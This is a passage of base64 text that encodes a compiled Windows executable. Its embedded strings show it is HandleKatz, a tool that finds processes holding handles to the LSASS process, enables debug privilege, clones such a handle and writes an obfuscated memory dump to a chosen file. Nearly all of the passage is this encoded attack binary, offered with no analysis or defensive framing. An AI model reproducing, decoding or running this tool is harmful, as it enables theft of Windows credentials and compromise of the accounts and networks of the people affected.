BQUFBQklpVXdrT01Ib0E0bEVKR1FQaElJQkFBQk1qWHdrY0RIL1RJbjRUWW4zU1luR0R4OUFBRW1MVENRUVNJc1dRYmtZQUFBQVRZbncvNVVZQVFBQWhjQVBoRDRCQUFCSmkwd2tFRWlMRmtHNUFBRUFBRW1KMlArVklBRUFBSVhBRDRRZkFRQUFTTGd1QUhNQWJ3QUFBRWlKMmNlRUpKZ0FBQUErQUFBQVNJbEVKR2hJdUR3QVpRQnNBR1lBU0ltRUpKQUFBQUQvbGNnQUFBQkltRXlOREVOSmpWSCtTRG5hY3gvcHZnSUFBR1lQSDRRQUFBQUFBSVA0TDNRVVNJMUMva2c1MkhJUFNJbkNEN2NDZy9oY2RlZElnOElDU1NuUnVmOEFBQUJCdVA4QUFBQk5pYzFNaVV3a0tFblIvVW1CK2Y4QkFBQk1EMGZwVEluNVM0MUVMUUJJaVVRa1FFd0IrRWlKUkNRdy8xVUFTSXRFSkRCTWkwd2tLREhKWm9rSVNZUDVDQStIaGdBQUFFbUQrUVlQaDVVQUFBQk1pZnJyQ3c4ZmdBQUFBQUJJZzhJQ0Q3Y0NSSTFBdjQxSUlHWkJnL2dhRDBMQlpva0Nab1hBZGVKTWkyd2tjSXRFSkhoSmkwd2tFRXlMUkNRNFRJbnFpVVFrS09nTERRQUFoY0FQaFpNQUFBQ0R4d0ZJZzhZSU9Yd2taQStIa3Y3Ly8waUJ4S2dWQUFCYlhsOWRRVnhCWFVGZVFWL0RaZzhmUkFBQVNZbm9USW5xVEluNTZOb0pBQUJJbUVpRndBK0ZQd0VBQUVpTFJDUkFTSTFVSkdoSmpVd0grditWS0FFQUFJWEFENFZPLy8vL1NZMVYvVW1KNkV5SitlaWpDUUFBU0poSWhjQVBoRFQvLy85SktjVklpMVFrT0V1TlRHLzYvNVVBQVFBQTZSei8vLytMaENUb0FBQUFUWXRFSkRDSlJDUXdpNFFrbUFBQUFJbEVKRUJOaGNBUGhPUUFBQUJCaTBRa09FR0xWQ1E4T2RCeVZVeUxuWmdBQUFBQjBreUpSQ1JZUVlsVUpEeUpWQ1JVVElsY0pFai9sWWdBQUFDTFZDUlVUSXRFSkZoTWkxd2tTRWlKd1V4cHlpZ0NBQUF4MGtILzAwbUp3RW1KUkNRd1RZWEFENFRGQUFBQVFZdEVKRGhJYWNBb0FnQUFTWXRNSkJCTWllcEJ1UVFCQUFCTmpVUUFIUCtWQ0FFQUFFR0xSQ1E0aTB3a0tFaUp3a2hwd0NnQ0FBQkpBMFFrTUlsSUVJdE1KRUNEd2dGTWlXZ0lpVWdVaTB3a01NY0FBQUFBQUlsSUdFR0pWQ1E0NlliKy8vOW1EeCtFQUFBQUFBQkpLY1V4MG1aQ2laUnNvQU1BQU9rWi92Ly9EeDlFQUFCQngwUWtQQ0FBQUFCTWk0MkFBQUFBVElsTUpFai9sWWdBQUFCQnVBQkZBQUJNaTB3a1NESFNTSW5CUWYvUlNZbkFTWWxFSkRCTmhjQVBoVHYvLy85SngwUWtPQUFBQUFEcEdQNy8vMEc0L3dBQUFFeUp5a3lKK2Y5VkFESEFab21FSktBREFBRHBxZjMvLzVDUWtKQ1FrSkNRa0pDUWtKQkJWYnA4WWZST1FWUkppY3k1WTlkUDVsZElnZXhRQWdBQTZJSUNBQUJJaGNBUGhIc0JBQUJKaWNDNExnQUFBRWlOZkNSQXVSNEFBQUJtaVVRa0xqSEFRUSsyRkNUelNLdTVIZ0FBQUVqSFJDUXdBQUFBQUVqSFJDUTRBQUFBQUVqSGhDUkFBUUFBQUFBQUFFakhoQ1JJQVFBQUFBQUFBTWNIQUFBQUFFaU52Q1JRQVFBQTgwaXJ4d2NBQUFBQWhOSjBHbVlQSDBRQUFBKzJ5RWlEd0FHSVZBd3dRUSsyRkFTRTBuWHNUSTFrSkRCSWpWUWtMa3lKNFVILzBFbUp3RWlGd0ErRTJnQUFBQSsyVUFIR0FBQ0UwZytFQ1FFQUFESEFEeCtBQUFBQUFBKzJ5RWlEd0FHSWxBeEFBUUFBUVErMlZBQUJoTkoxNkErMmhDUkFBUUFBaE1BUGhOZ0FBQUJNallRa1FRRUFBTGtGRlFBQUR4OEFpY3BKZzhBQndlSUZBZEFCd1VFUHRrRC9oTUIxNm9IeFJFTkNRVUdKelErMlJDUXdoTUFQaEtjQUFBQk1qVVFrTWJrRkZRQUFacENKeWttRHdBSEI0Z1VCMEFIQlFRKzJRUCtFd0hYcWdmRkVRMEpCNkk4QUFBQklpY0ZJaGNCMEYwU0o2dWl2Q0FBQVNJSEVVQUlBQUY5QlhFRmR3MmFRdVRHdEFqSG9aZ0FBQUVpSndVaUZ3SFVXTWNCSWdjUlFBZ0FBWDBGY1FWM0REeCtBQUFBQUFMcS9zLzBlNkc0SUFBQkloY0IwMjB5SjRmL1FTSW5CU0lYQWRhVXh3T3ZNRHgrRUFBQUFBQUJCdlVGV1FrSHBUUC8vLzdsQlZrSkI2WGYvLy8rUWtKQ1FrSkNRa0pDUWtHVklpd1FsWUFBQUFFaUxRQmlCOFVSRFFrRkJpY3BNaTFnZ1RZblpEeDhBU1l0SlVFaUZ5WFJqRDdjQlpvWEFkRjlJaWNvUEgwQUFSSTFBdjJaQmcvZ1pkd2FEd0NCbWlRSVB0MElDU0lQQ0FtYUZ3SFhpRDdjQlpvWEFkREpCdUFVVkFBQVBIMEFBUkluQ1NJUEJBc0hpQlFIUVFRSEFEN2NCWm9YQWRlbEZPY0owRjAyTENVMDV5M1dVTWNERGtFRzRCUlVBQUVVNXduWHBTWXRCSU1OQlZFR0oxRk9KeTBpRDdGam9ULy8vLzBpRndIVWl1VEd0QWpIb1FQLy8vMGlKd1VpRndIVW9TSVBFV0RIQVcwRmN3MllQSDBRQUFFaUR4RmhFaWVKSWljRmJRVnpwUmdjQUFHWVBIMFFBQUxxL3MvMGU2RFlIQUFCSWhjQjB5WUg3bCt4Ym1BK0VoUUFBQUlIN0RjbGlKZytFNlFBQUFJSDdZOWRQNWcrRXRRQUFBSUg3aUNiNEFBK0VBUUVBQUlIN3V3N085WFdSU0xwQmNHa3RiWE10ZDhaRUpFSUFTTGxwYmkxamIzSmxMVWlKVkNRZ1NMcDJaWEp6YVc5dUxVaUpUQ1FvU0xsc01TMHhMVEF1WkVpSlZDUXd1bXhzQUFCSWlVd2tPRWlOVENRZ1pvbFVKRUQvMEVpSndlc3NacEJCdUd4c0FBQklqVXdrSU1aRUpDb0FTTHRWYzJWeU16SXVaRWlKWENRZ1prU0pSQ1FvLzlCSWljRkloY2tQaEFYLy8vOUlnOFJZUkluaVcwRmM2VjRHQUFCbUR4OUVBQUJJdTFOb2JIZGhjR2t1U0kxTUpDREhSQ1FvWkd4c0FFaUpYQ1FnLzlCSWljSHJ2dzhmUkFBQVNMdEJaSFpoY0drek1raU5UQ1FneGtRa0xBQklpVndrSU1kRUpDZ3VaR3hzLzlCSWljSHJrZzhmaEFBQUFBQUFTTHRRYzJGd2FTNWtiTGxzQUFBQVpvbE1KQ2hJalV3a0lFaUpYQ1FnLzlCSWljSHBZdi8vLzVDUWtKQ1FrSkNRUVZSRk1jQkZNZVJXVTBpSnkwaUQ3RERIUkNRc0FBQUFBRWlOZENRc1NZbnhUSW5pdVJBQUFBRG9qTjMvLzRYQWVRbzlCQUFBd0hRWFJUSGtTSVBFTUV5SjRGdGVRVnpERHgrRUFBQUFBQUJOaGVSMERrRzRBSUFBQURIU1RJbmgvMU00UWJnQUVBQUFpMVFrTEVHNUJBQUFBREhKLzFOSVJJdEVKQ3hKaWNUcm5KQ1FrSkNRa0pDUWtKQ1FrSkNRUVZkQlZrV0p4a0ZWVFluTlFWUlZNZTFYU0lub1Zvbk91U2NBQUFCVFNJblRTSUhzeUFVQUFFaU52Q1NBQUFBQVRJMjhKSUFBQUFEelNLdE1pZm5vN1FZQUFFR0p4SVhBZFI1SWdjVElCUUFBUkluZ1cxNWZYVUZjUVYxQlhrRmZ3dzhmZ0FBQUFBQk1pZm5vQUEwQUFFR0p4SVhBRDRRZEFnQUFoZllQaE1VQUFBQkl1RnNxWFNCRGFHVmpUSW5wU0xwcmFXNW5JR1p2Y3NhRUpBQUVBQUFBU0ltRUpNQURBQUJCdkFFQUFBQkl1Q0J3Y205alpYTnpTSW1VSk1nREFBQkl1bVZ6SUhkcGRHZ2dTSW1FSk5BREFBQkl1R0VnYzNWcGRHRmlTSW1VSk5nREFBQkl1bXhsSUdoaGJtUnNTSW1FSk9BREFBQkl1R1VnZEc4Z2JITmhTSW1VSk9nREFBQkl1bk56SUM0dUxpQUtTSW1VSlBnREFBQklqWlFrd0FNQUFFaUpoQ1R3QXdBQS81UWtpQUFBQUV5SitreUo2ZWhDQlFBQTZRZi8vLzhQSDBRQUFFaU52Q1RRQVFBQXVUNEFBQUJGaWZER1JDUnlBRWk0V3lwZElFRjBkR1ZJdW0xd2RHbHVaeUIwU01lRUpNQURBQUFBQUFBQVRJMmtKTUFEQUFCSWlVUWtRRWlOdENUQUFRQUFTTGh2SUdOc2IyNWxJRWlKUkNSUVNMaHVaR3hsSUdaeWIwaUpSQ1JndUdRS0FBQm1pVVFrY0VpNFd5cGRJRTkxZEdaSWlVUWtJRWlKNlBOSXEwaUpWQ1JJdVQ0QUFBQkl1bXh6WVhOeklHaGhTSTI4Sk5BREFBQklpVlFrV0VpNmJTQndhV1E2SUNWSXg0UWt5QU1BQUFBQUFBRHpTS3RJaWZGSWlWUWthRWk2YVd4bE9pQWxjd3BJaVZRa0tFaU5WQ1JBeGtRa01BQkl4NFFrd0FFQUFBQUFBQUJJeDRRa3lBRUFBQUFBQUFEL2xDU1lBQUFBU1luWVRJbmhTSTFVSkNEL2xDU1lBQUFBU0lueVRJbnAvNVFraUFBQUFFeUo0a3lKNlVHOEFRQUFBUCtVSklnQUFBQk5pZmxKaWRoTWllcEVpZkhvMVBELy8rbTUvZi8vRHgrQUFBQUFBRWk2WkNCdWIzUWdaVzVNaWVsSXVGc3RYU0JEYjNWc3g0UWs0QU1BQUd4bFoyVklpWlFreUFNQUFFaTZkV2NnY0hKcGRtbElpWVFrd0FNQUFFaTRZV0pzWlNCRVpXSklpWlFrMkFNQUFMb0tBQUFBWm9tVUpPUURBQUJJalpRa3dBTUFBRWlKaENUUUF3QUEvNVFraUFBQUFPazcvZi8va0VGVlJUSEpSVEhTU0xndUFHRUFZd0J0QUVGVVZWZElpYzh4eVZaSWlkWXgwbE5NaWNORk1jQklnZXlvQUFBQVNJbEVKQ1F4d0V5TlpDUWtTSTFzSkdCbWlVUWtMRWk0TGdCa0FHd0FiQUJJaVVRa0xraTRMZ0JrQUhJQWRnQklpVVFrT0VpNExnQmxBSGdBWlFCSWlVUWtRa2k0TGdCdkFHTUFlQUJJaVVRa1RFaTRMZ0IyQUhnQVpBQklpVVFrVmtpTlJDUXVTSWxFSkdoSWpVUWtPRWlKUkNSd1NJMUVKRUpJaVVRa2VFaU5SQ1JNU0ltRUpJQUFBQUJJalVRa1ZtYUpWQ1EyWm9sTUpFQm1SSWxFSkVwbVJJbE1KRlJtUklsVUpGNU1pV1FrWUVpSmhDU0lBQUFBU01lRUpKQUFBQUFBQUFBQVRJbmgvNVBJQUFBQVFZbkZTSmhJT2ZCelBVaUo4a2dwd2tpTkRGZE1pZUwva3lnQkFBQ0Z3SFVaU0lIRXFBQUFBRVNKNkZ0ZVgxMUJYRUZkdzJZUEgwUUFBRXlMWlFoSWc4VUlUWVhrZGJCRk1lM3IxWkNRa0pDUWtFRldRVlZCVkVtSjFGVkVpY1ZYUkluUFZraUp6bE5JZyt3Z1NJdFpXRWlMaENTQUFBQUFTSVhiZEcyTFVXQkVpMGxrUkRuS2NqWkhqU3dKVEl1d21BQUFBRVNKYVdUL2tJZ0FBQUJGaWVsSmlkZ3gwa2lKd1VuQjRRUkIvOVpJaWNOSWlVWllTSVhiZEZ1TFZtQkJpZENEd2dGSndlQUVUQUhEVElramlXc0lpWHNNaVZaZ1NJUEVJRnRlWDExQlhFRmRRVjdERHg4QVNJdVlnQUFBQU1kQlpDQUFBQUQva0lnQUFBQkJ1QUFDQUFBeDBraUp3Zi9UU0luRFNJbEdXRWlGMjNXbFNNZEdZQUFBQUFCSWc4UWdXMTVmWFVGY1FWMUJYc09Ra0pDUVZWZFdVMGhqYVR4SUFjMkx2WWdBQUFCSUFjOUVpMDhnaTNjWVNRSEpoZlowVm9uVFNZbkxSVEhTZ2ZORVEwSkJRWXNCdVFVVkFBQk1BZGhNalVBQkQ3WUFoTUIwSVdZdUR4K0VBQUFBQUFDSnlzSGlCUUhRQWNGTWljQkpnOEFCRDdZQWhNQjE2VG5aZEJSSmc4SUJTWVBCQkV3NTFuVzRNY0JiWGw5ZHc0dFhKRXVOREZPTFJ4d1B0eFFSU1kwVWs0c0VBa3dCMkVnNXgzZmVpNVdNQUFBQVNBSFhTRG40ZDlCYlNJbkJYbDlkNlJyMS8vK1FrSkNRa0pDUWtKQ1FRVlJCdVVBQUFBQkppY3hYVmt5SnhsTklpZE5JZyt4NFNNZEVKQ0FBQUFBQVRJMUVKRERvWmRqLy8waGpWQ1JzU1lud1RJbmhTTWRFSkNBQUFBQUFRYmtJQVFBQWljZElBZHJvUWRqLy8yYUJmQ1F3VFZwMUJBbkhkQlF4d0VpRHhIaGJYbDlCWE1NUEg0UUFBQUFBQURIQWdUNVFSUUFBRDVUQTYrR1FrSkJCVlVtSnpVaUowVUZVVTBpSjAwaUQ3RkRvMmZqLy8waUZ3SFEwU1luRVNZblpUWW5vTWRKSWljSG80ZWYvLzB5SjRVRzRBSUFBQURIUy8xTTRTSVBFVUxnQkFBQUFXMEZjUVYzRER4OUFBRWk0V3kxZElFWmhhV3pIUkNSQWJHVnpDa3lKNlVpNlpXUWdkRzhnWjJWSWlVUWtJRWk0ZENCaElHeHBjM1JJaVZRa0tFaTZJRzltSUdoaGJtUklpVlFrT0VpTlZDUWdTSWxFSkRER1JDUkVBUDlUQ0VpRHhGQXh3RnRCWEVGZHcxTzZ6OC9ZRkVpSnk3a3hyUUl4U0lQc0lPaHA5di8vdWlmby9aTzVNYTBDTVVpSkEraFg5di8vdWs3b2hwTzVNYTBDTVVpSlF3am9SUGIvLzdxSCs5cTV1WmZzVzVoSWlVTVE2REgyLy8rNnZvYlVxcmt4clFJeFNJbERHT2dlOXYvL3VrT0pNbm01TWEwQ01VaUpReURvQy9iLy83cTFoTVFJdVRHdEFqRklpVU1vNlBqMS8vKzZhb3pOSjdreHJRSXhTSWxETU9qbDlmLy91dE5NYm5tNU1hMENNVWlKUXpqbzB2WC8vN3B4ZmU5T3VXUFhUK1pJaVVOSTZMLzEvLys2ZkdIMFRybGoxMC9tU0lsRFVPaXM5Zi8vdWc0S0pLVzVNYTBDTVVpSlExam9tZlgvLzdvdHh4RmZ1VEd0QWpGSWlVTmc2SWIxLy8rNk1SL1pucmxqMTAvbVNJbERhT2h6OWYvL3V2U3ZmaWU1TWEwQ01VaUpRM0RvWVBYLy83cEtKTDlldVRHdEFqRklpVU40NkUzMS8vKzZSazRhaDdreHJRSXhTSW1EZ0FBQUFPZzM5Zi8vdW9IUUNuYTVNYTBDTVVpSmc0Z0FBQURvSWZYLy83cGhnbk5mdVRHdEFqRklpWU9RQUFBQTZBdjEvLys2dGlpdEVya3hyUUl4U0ltRG1BQUFBT2oxOVAvL3VyK3ovUjY1TWEwQ01VaUpnNkFBQUFEbzMvVC8vN3F5ckVyQ3VUR3RBakZJaVlPb0FBQUE2TW4wLy8rNmVJMnNjYmt4clFJeFNJbURzQUFBQU9pejlQLy91a29jQ0lPNU1hMENNVWlKZzdnQUFBRG9uZlQvLzdwazZJYVR1VEd0QWpGSWlZUEFBQUFBNklmMC8vKzZXL2h6anJreHJRSXhTSW1EeUFBQUFPaHg5UC8vdXR1bzBaYTVNYTBDTVVpSmc5QUFBQURvVy9ULy83cUxlamhNdVRHdEFqRklpWVBZQUFBQTZFWDAvLys2elFWQlVMbTdEczcxU0ltRDRBQUFBT2d2OVAvL3VpcTZOcFM1dXc3TzlVaUpnK2dBQUFEb0dmVC8vN29ZMnljNXVic096dlZJaVlQd0FBQUE2QVAwLy8rNnFhajlrN2t4clFJeFNJbUQrQUFBQU9qdDgvLy91aVFLSktXNU1hMENNVWlKZ3dBQkFBRG8xL1AvLzdyVzNKemt1VEd0QWpGSWlZTUlBUUFBNk1Iei8vKzZ0VVQxdDdreHJRSXhTSW1ERUFFQUFPaXI4Ly8vdXRxY3pidTVNYTBDTVVpSmd4Z0JBQURvbGZQLy83cXZudjJUdVRHdEFqRklpWU1nQVFBQTZIL3ovLys2UlozOWs3a3hyUUl4U0lsRFFPaHM4Ly8vdXNBdDdQcTVEY2xpSmtpSmd5Z0JBQURvVnZQLy8waUR1eEFCQUFBQVNJbURNQUVBQUErRUVRSUFBRWlEdXhnQkFBQUFENFFyQWdBQVNJTzdJQUVBQUFBUGhFVUNBQUJJZzN0Z0FBK0VZZ0lBQUVpRGUyZ0FENFIvQWdBQVNJTzdDQUVBQUFBUGhKa0NBQUJJZzNzSUFBK0V2Z0VBQUVpRGV4QUFENFN6QVFBQVNJTjdHQUFQaEtnQkFBQklnM3NnQUErRW5RRUFBRWlEZXlnQUQ0U1NBUUFBU0lON01BQVBoSWNCQUFCSWczczRBQStFZkFFQUFFaURlMGdBRDRSeEFRQUFTSU43VUFBUGhHWUJBQUJJZzN0WUFBK0VXd0VBQUVpRGUyQUFENFJRQVFBQVNJTjdhQUFQaEVVQkFBQklnM3R3QUErRU9nRUFBRWlEZTNnQUQ0UXZBUUFBU0lPN2dBQUFBQUFQaENFQkFBQklnN3VJQUFBQUFBK0VFd0VBQUVpRHU1QUFBQUFBRDRRRkFRQUFTSU83bUFBQUFBQVBoUGNBQUFCSWc3dWdBQUFBQUErRTZRQUFBRWlEdTZnQUFBQUFENFRiQUFBQVNJTzdzQUFBQUFBUGhNMEFBQUJJZzd1NEFBQUFBQStFdndBQUFFaUR1OEFBQUFBQUQ0U3hBQUFBU0lPN3lBQUFBQUFQaEtNQUFBQklnN3ZRQUFBQUFBK0VsUUFBQUVpRHU5Z0FBQUFBRDRTSEFBQUFTSU83NEFBQUFBQjBmVWlEdStnQUFBQUFkSE5JZzd2d0FBQUFBSFJwU0lPNytBQUFBQUIwWDBpRHV3QUJBQUFBZEZWSWc3c0lBUUFBQUhSTFNJTzdFQUVBQUFCMFFVaUR1eGdCQUFBQWREZElnN3NnQVFBQUFIUXRTSU43UUFCMEpraUR1eWdCQUFBQWRCeElnN3N3QVFBQUFIUVNNY0JJZ3pzQUQ1WEE2d2tQSDRBQUFBQUFNY0JJZzhRZ1c4TzYxdHljNUxtSUp2Z0E2Q0h4Ly85SWc3c1lBUUFBQUVpSmd4QUJBQUFQaGRuOS8vOFBIMEFBdXJWRTliZTVpQ2I0QU9qNThQLy9TSU83SUFFQUFBQklpWU1ZQVFBQUQ0Vy8vZi8vRHg5QUFMcmFuTTI3dVlnbStBRG8wZkQvLzBpRGUyQUFTSW1ESUFFQUFBK0ZwZjMvL3c4ZmdBQUFBQUM2RGdva3BibUlKdmdBNktudy8vOUlnM3RvQUVpSlEyQVBoWXY5Ly85bUxnOGZoQUFBQUFBQXVpM0hFVis1aUNiNEFPaUI4UC8vU0lPN0NBRUFBQUJJaVVOb0Q0VnUvZi8vRHgrQUFBQUFBTG9rQ2lTbHVZZ20rQURvV2ZELy8waUpnd2dCQUFEcFRQMy8vNUNRa0pDUWtKQ1FrSkNRa0pCQlZMb29BQUFBUlRIa1ZsTklpY3RJeDhILy8vLy9TSVBzY0VqSFJDUTRBQUFBQUV5TlJDUTRTTWRFSkVBQUFBQUFTTWRFSkVnQUFBQUE2RW5MLy8rRndIVldNY25IUkNSQUFRQUFBRWk2Y21sMmFXeGxaMlZJdUZObFJHVmlkV2RRU0lsVUpGaElqWFFrUUVpTlZDUlF4MFFrVEFJQUFBQk1qVVFrUkVpSlJDUlF4a1FrWUFEL2t6QUJBQUNGd0hVWFNJdE1KRGovVXloSWc4UndSSW5nVzE1QlhNTVBId0JJaTB3a09FRzVFQUFBQUVtSjhESFNTTWRFSkNnQUFBQUFTTWRFSkNBQUFBQUE2Q0hGLy85SWkwd2tPSVhBZFJqL1V5aEJ2QUVBQUFCSWc4UndSSW5nVzE1QlhNTVBId0QvVXloSWc4UndSSW5nVzE1QlhNT1F1QUVBQUFERGtKQ1FrSkNRa0pDUWtQLy8vLy8vLy8vL0FBQUFBQUFBQUFELy8vLy8vLy8vL3dBQUFBQUFBQUFBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwf0AAAAAAAAAAAAAAAAAA//////////8AAAAAAAAAAP8AAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAA/////wAAAAAAAAAAAAAAAEAAAADDv///wD8AAAEAAAAAAAAADgAAAAAAAAAAAAAAwBFBAAAAAAAAAAAAAAAAAPB8QAAAAAAAAAAAAAAAAAAQfUAAAAAAACB9QAAAAAAAoH1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